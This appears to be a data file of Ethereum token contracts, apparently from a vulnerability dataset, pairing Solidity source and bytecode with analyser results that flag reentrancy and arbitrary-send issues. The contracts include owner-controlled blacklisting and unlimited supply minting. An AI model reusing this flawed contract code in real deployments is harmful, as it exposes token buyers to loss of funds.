function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
if(from != address(this))
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to] && !bots[msg.sender]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (15 seconds);
}
if (block.number == launchBlock) {
if (from != uniswapV2Pair && from != address(uniswapV2Router)) {
bots[from] = true;
} else if (to != uniswapV2Pair && to != address(uniswapV2Router)) {
bots[to] = true;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function isExcluded(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function isBlackListed(address account) public view returns (bool) {
return bots[account];
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_devFund.transfer(amount.mul(4).div(10));
_marketingFunds.transfer(amount.mul(4).div(10));
_buybackWalletAddress.transfer(amount.mul(2).div(10));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 3000000 * 10**9;
launchBlock = block.number;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _devFund);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _devFund);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061012e5760003560e01c80638da5cb5b116100ab578063c9567bf91161006f578063c9567bf91461034c578063cba0e99614610361578063d00efb2f1461039a578063d543dbeb146103b0578063dd62ed3e146103d0578063e47d60601461041657600080fd5b80638da5cb5b146102a157806395d89b41146102c9578063a9059cbb146102f7578063b515566a14610317578063c3c8cd801461033757600080fd5b8063313ce567116100f2578063313ce5671461021b5780635932ead1146102375780636fc3eaec1461025757806370a082311461026c578063715018a61461028c57600080fd5b806306fdde031461013a578063095ea7b31461018457806318160ddd146101b457806323b872dd146101d9578063273123b7146101f957600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600f81526e4e6563726f6d616e63657220496e7560881b60208201525b60405161017b9190611bd2565b60405180910390f35b34801561019057600080fd5b506101a461019f366004611a63565b61044f565b604051901515815260200161017b565b3480156101c057600080fd5b50670de0b6b3a76400005b60405190815260200161017b565b3480156101e557600080fd5b506101a46101f4366004611a23565b610466565b34801561020557600080fd5b506102196102143660046119b3565b6104cf565b005b34801561022757600080fd5b506040516009815260200161017b565b34801561024357600080fd5b50610219610252366004611b55565b610523565b34801561026357600080fd5b5061021961056b565b34801561027857600080fd5b506101cb6102873660046119b3565b610598565b34801561029857600080fd5b506102196105ba565b3480156102ad57600080fd5b506000546040516001600160a01b03909116815260200161017b565b3480156102d557600080fd5b506040805180820190915260058152644e4543524f60d81b602082015261016e565b34801561030357600080fd5b506101a4610312366004611a63565b61062e565b34801561032357600080fd5b50610219610332366004611a8e565b61063b565b34801561034357600080fd5b506102196106df565b34801561035857600080fd5b50610219610715565b34801561036d57600080fd5b506101a461037c3660046119b3565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103a657600080fd5b506101cb60125481565b3480156103bc57600080fd5b506102196103cb366004611b8d565b610ada565b3480156103dc57600080fd5b506101cb6103eb3660046119eb565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561042257600080fd5b506101a46104313660046119b3565b6001600160a01b03166000908152600a602052604090205460ff1690565b600061045c338484610bac565b5060015b92915050565b6000610473848484610cd0565b6104c584336104c085604051806060016040528060288152602001611da3602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111c6565b610bac565b5060019392505050565b6000546001600160a01b031633146105025760405162461bcd60e51b81526004016104f990611c25565b60405180910390fd5b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b0316331461054d5760405162461bcd60e51b81526004016104f990611c25565b60108054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461058b57600080fd5b4761059581611200565b50565b6001600160a01b038116600090815260026020526040812054610460906112d7565b6000546001600160a01b031633146105e45760405162461bcd60e51b81526004016104f990611c25565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061045c338484610cd0565b6000546001600160a01b031633146106655760405162461bcd60e51b81526004016104f990611c25565b60005b81518110156106db576001600a600084848151811061069757634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106d381611d38565b915050610668565b5050565b600c546001600160a01b0316336001600160a01b0316146106ff57600080fd5b600061070a30610598565b90506105958161135b565b6000546001600160a01b0316331461073f5760405162461bcd60e51b81526004016104f990611c25565b601054600160a01b900460ff16156107995760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104f9565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107d53082670de0b6b3a7640000610bac565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561080e57600080fd5b505afa158015610822573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084691906119cf565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561088e57600080fd5b505afa1580156108a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c691906119cf565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561090e57600080fd5b505af1158015610922573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094691906119cf565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d719473061097681610598565b60008061098b6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109ee57600080fd5b505af1158015610a02573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a279190611ba5565b505060108054660aa87bee5380006011554360125563ffff00ff60a01b198116630101000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610aa257600080fd5b505af1158015610ab6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106db9190611b71565b6000546001600160a01b03163314610b045760405162461bcd60e51b81526004016104f990611c25565b60008111610b545760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016104f9565b610b716064610b6b670de0b6b3a764000084611500565b9061157f565b60118190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610c0e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f9565b6001600160a01b038216610c6f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f9565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d345760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f9565b6001600160a01b038216610d965760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f9565b60008111610df85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f9565b6000546001600160a01b03848116911614801590610e2457506000546001600160a01b03838116911614155b1561116957601054600160b81b900460ff1615610f0b576001600160a01b0383163014801590610e5d57506001600160a01b0382163014155b8015610e775750600f546001600160a01b03848116911614155b8015610e915750600f546001600160a01b03838116911614155b15610f0b57600f546001600160a01b0316336001600160a01b03161480610ecb57506010546001600160a01b0316336001600160a01b0316145b610f0b5760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b60448201526064016104f9565b6001600160a01b0383163014610f2a57601154811115610f2a57600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610f6c57506001600160a01b0382166000908152600a602052604090205460ff16155b8015610f885750336000908152600a602052604090205460ff16155b610f9157600080fd5b6010546001600160a01b038481169116148015610fbc5750600f546001600160a01b03838116911614155b8015610fe157506001600160a01b03821660009081526005602052604090205460ff16155b8015610ff65750601054600160b81b900460ff165b15611044576001600160a01b0382166000908152600b6020526040902054421161101f57600080fd5b61102a42600f611cca565b6001600160a01b0383166000908152600b60205260409020555b6012544314156110fc576010546001600160a01b0384811691161480159061107a5750600f546001600160a01b03848116911614155b156110a7576001600160a01b0383166000908152600a60205260409020805460ff191660011790556110fc565b6010546001600160a01b038381169116148015906110d35750600f546001600160a01b03838116911614155b156110fc576001600160a01b0382166000908152600a60205260409020805460ff191660011790555b600061110730610598565b601054909150600160a81b900460ff1615801561113257506010546001600160a01b03858116911614155b80156111475750601054600160b01b900460ff165b15611167576111558161135b565b4780156111655761116547611200565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff16806111ab57506001600160a01b03831660009081526005602052604090205460ff165b156111b4575060005b6111c0848484846115c1565b50505050565b600081848411156111ea5760405162461bcd60e51b81526004016104f99190611bd2565b5060006111f78486611d21565b95945050505050565b600c546001600160a01b03166108fc61121f600a610b6b856004611500565b6040518115909202916000818181858888f19350505050158015611247573d6000803e3d6000fd5b50600d546001600160a01b03166108fc611267600a610b6b856004611500565b6040518115909202916000818181858888f1935050505015801561128f573d6000803e3d6000fd5b50600e546001600160a01b03166108fc6112af600a610b6b856002611500565b6040518115909202916000818181858888f193505050501580156106db573d6000803e3d6000fd5b600060065482111561133e5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104f9565b60006113486115ed565b9050611354838261157f565b9392505050565b6010805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113b157634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561140557600080fd5b505afa158015611419573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061143d91906119cf565b8160018151811061145e57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600f546114849130911684610bac565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906114bd908590600090869030904290600401611c5a565b600060405180830381600087803b1580156114d757600080fd5b505af11580156114eb573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b60008261150f57506000610460565b600061151b8385611d02565b9050826115288583611ce2565b146113545760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104f9565b600061135483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611610565b806115ce576115ce61163e565b6115d9848484611661565b806111c0576111c06002600855600a600955565b60008060006115fa611758565b9092509050611609828261157f565b9250505090565b600081836116315760405162461bcd60e51b81526004016104f99190611bd2565b5060006111f78486611ce2565b60085415801561164e5750600954155b1561165557565b60006008819055600955565b60008060008060008061167387611798565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116a590876117f5565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116d49086611837565b6001600160a01b0389166000908152600260205260409020556116f681611896565b61170084836118e0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161174591815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a7640000611773828261157f565b82101561178f57505060065492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006117b58a600854600954611904565b92509250925060006117c56115ed565b905060008060006117d88e878787611953565b919e509c509a509598509396509194505050505091939550919395565b600061135483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111c6565b6000806118448385611cca565b9050838110156113545760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104f9565b60006118a06115ed565b905060006118ae8383611500565b306000908152600260205260409020549091506118cb9082611837565b30600090815260026020526040902055505050565b6006546118ed90836117f5565b6006556007546118fd9082611837565b6007555050565b60008080806119186064610b6b8989611500565b9050600061192b6064610b6b8a89611500565b905060006119438261193d8b866117f5565b906117f5565b9992985090965090945050505050565b60008080806119628886611500565b905060006119708887611500565b9050600061197e8888611500565b905060006119908261193d86866117f5565b939b939a50919850919650505050505050565b80356119ae81611d7f565b919050565b6000602082840312156119c4578081fd5b813561135481611d7f565b6000602082840312156119e0578081fd5b815161135481611d7f565b600080604083850312156119fd578081fd5b8235611a0881611d7f565b91506020830135611a1881611d7f565b809150509250929050565b600080600060608486031215611a37578081fd5b8335611a4281611d7f565b92506020840135611a5281611d7f565b929592945050506040919091013590565b60008060408385031215611a75578182fd5b8235611a8081611d7f565b946020939093013593505050565b60006020808385031215611aa0578182fd5b823567ffffffffffffffff80821115611ab7578384fd5b818501915085601f830112611aca578384fd5b813581811115611adc57611adc611d69565b8060051b604051601f19603f83011681018181108582111715611b0157611b01611d69565b604052828152858101935084860182860187018a1015611b1f578788fd5b8795505b83861015611b4857611b34816119a3565b855260019590950194938601938601611b23565b5098975050505050505050565b600060208284031215611b66578081fd5b813561135481611d94565b600060208284031215611b82578081fd5b815161135481611d94565b600060208284031215611b9e578081fd5b5035919050565b600080600060608486031215611bb9578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611bfe57858101830151858201604001528201611be2565b81811115611c0f5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ca95784516001600160a01b031683529383019391830191600101611c84565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611cdd57611cdd611d53565b500190565b600082611cfd57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d1c57611d1c611d53565b500290565b600082821015611d3357611d33611d53565b500390565b6000600019821415611d4c57611d4c611d53565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461059557600080fd5b801515811461059557600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220064f864ee145da00b13d03232634b54838922cb98a222270ffb61e92bd07078f64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,014 |
0x8fe050679aefc1402e5c47c3597a2e9198eb3863
|
/**
*Submitted for verification at Etherscan.io on 2019-04-07
*/
pragma solidity ^0.4.25;
/**
* @title Project
* Doge Gold Coin
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DogeGoldCoin is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public Claimed;
string public constant name = "Doge Gold Coin";
string public constant symbol = "DGC";
uint public constant decimals = 8;
uint public deadline = now + 150 * 1 days;
uint public round2 = now + 50 * 1 days;
uint public round1 = now + 100 * 1 days;
uint256 public totalSupply = 75000000000e8;
uint256 public totalDistributed;
uint256 public constant requestMinimum = 1 ether / 100; // 0.01 Ether
uint256 public tokensPerEth = 100000000e8;
uint public target0drop = 4000;
uint public progress0drop = 0;
//here u will write your ether address
address multisig = 0xDa59D36F0D96692dc23aC952A867Fd73962170ec;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
event Add(uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
uint256 teamFund = 11250000000e8;
owner = msg.sender;
distr(owner, teamFund);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function Distribute(address _participant, uint _amount) onlyOwner internal {
require( _amount > 0 );
require( totalDistributed < totalSupply );
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
// log
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function DistributeAirdrop(address _participant, uint _amount) onlyOwner external {
Distribute(_participant, _amount);
}
function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external {
for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
uint256 bonus = 0;
uint256 countbonus = 0;
uint256 bonusCond1 = 1 ether / 10;
uint256 bonusCond2 = 5 ether / 10;
uint256 bonusCond3 = 1 ether;
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) {
if(msg.value >= bonusCond1 && msg.value < bonusCond2){
countbonus = tokens * 10 / 100;
}else if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 20 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 35 / 100;
}
}else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){
if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 2 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 3 / 100;
}
}else{
countbonus = 0;
}
bonus = tokens + countbonus;
if (tokens == 0) {
uint256 valdrop = 5000e8;
if (Claimed[investor] == false && progress0drop <= target0drop ) {
distr(investor, valdrop);
Claimed[investor] = true;
progress0drop++;
}else{
require( msg.value >= requestMinimum );
}
}else if(tokens > 0 && msg.value >= requestMinimum){
if( now >= deadline && now >= round1 && now < round2){
distr(investor, tokens);
}else{
if(msg.value >= bonusCond1){
distr(investor, bonus);
}else{
distr(investor, tokens);
}
}
}else{
require( msg.value >= requestMinimum );
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
//here we will send all wei to your address
multisig.transfer(msg.value);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdrawAll() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function withdraw(uint256 _wdamount) onlyOwner public {
uint256 wantAmount = _wdamount;
owner.transfer(wantAmount);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function add(uint256 _value) onlyOwner public {
uint256 counter = totalSupply.add(_value);
totalSupply = counter;
emit Add(_value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
}
|
0x60806040526004361061018b576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610195578063095ea7b3146102255780631003e2d21461028a57806318160ddd146102b757806323b872dd146102e257806329dcb0cf146103675780632e1a7d4d14610392578063313ce567146103bf57806342966c68146103ea578063532b581c1461041757806370a082311461044257806374ff2324146104995780637809231c146104c4578063836e81801461051157806383afd6da1461053c578063853828b61461056757806395d89b411461057e5780639b1cbccc1461060e5780639ea407be1461063d578063a9059cbb1461066a578063aa6ca808146106cf578063b449c24d146106d9578063c108d54214610734578063c489744b14610763578063cbdd69b5146107da578063dd62ed3e14610805578063e58fc54c1461087c578063e6a092f5146108d7578063efca2eed14610902578063f2fde38b1461092d578063f3ccb40114610970575b6101936109b5565b005b3480156101a157600080fd5b506101aa610db7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101ea5780820151818401526020810190506101cf565b50505050905090810190601f1680156102175780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561023157600080fd5b50610270600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610df0565b604051808215151515815260200191505060405180910390f35b34801561029657600080fd5b506102b560048036038101908080359060200190929190505050610f7e565b005b3480156102c357600080fd5b506102cc611035565b6040518082815260200191505060405180910390f35b3480156102ee57600080fd5b5061034d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061103b565b604051808215151515815260200191505060405180910390f35b34801561037357600080fd5b5061037c611411565b6040518082815260200191505060405180910390f35b34801561039e57600080fd5b506103bd60048036038101908080359060200190929190505050611417565b005b3480156103cb57600080fd5b506103d46114e5565b6040518082815260200191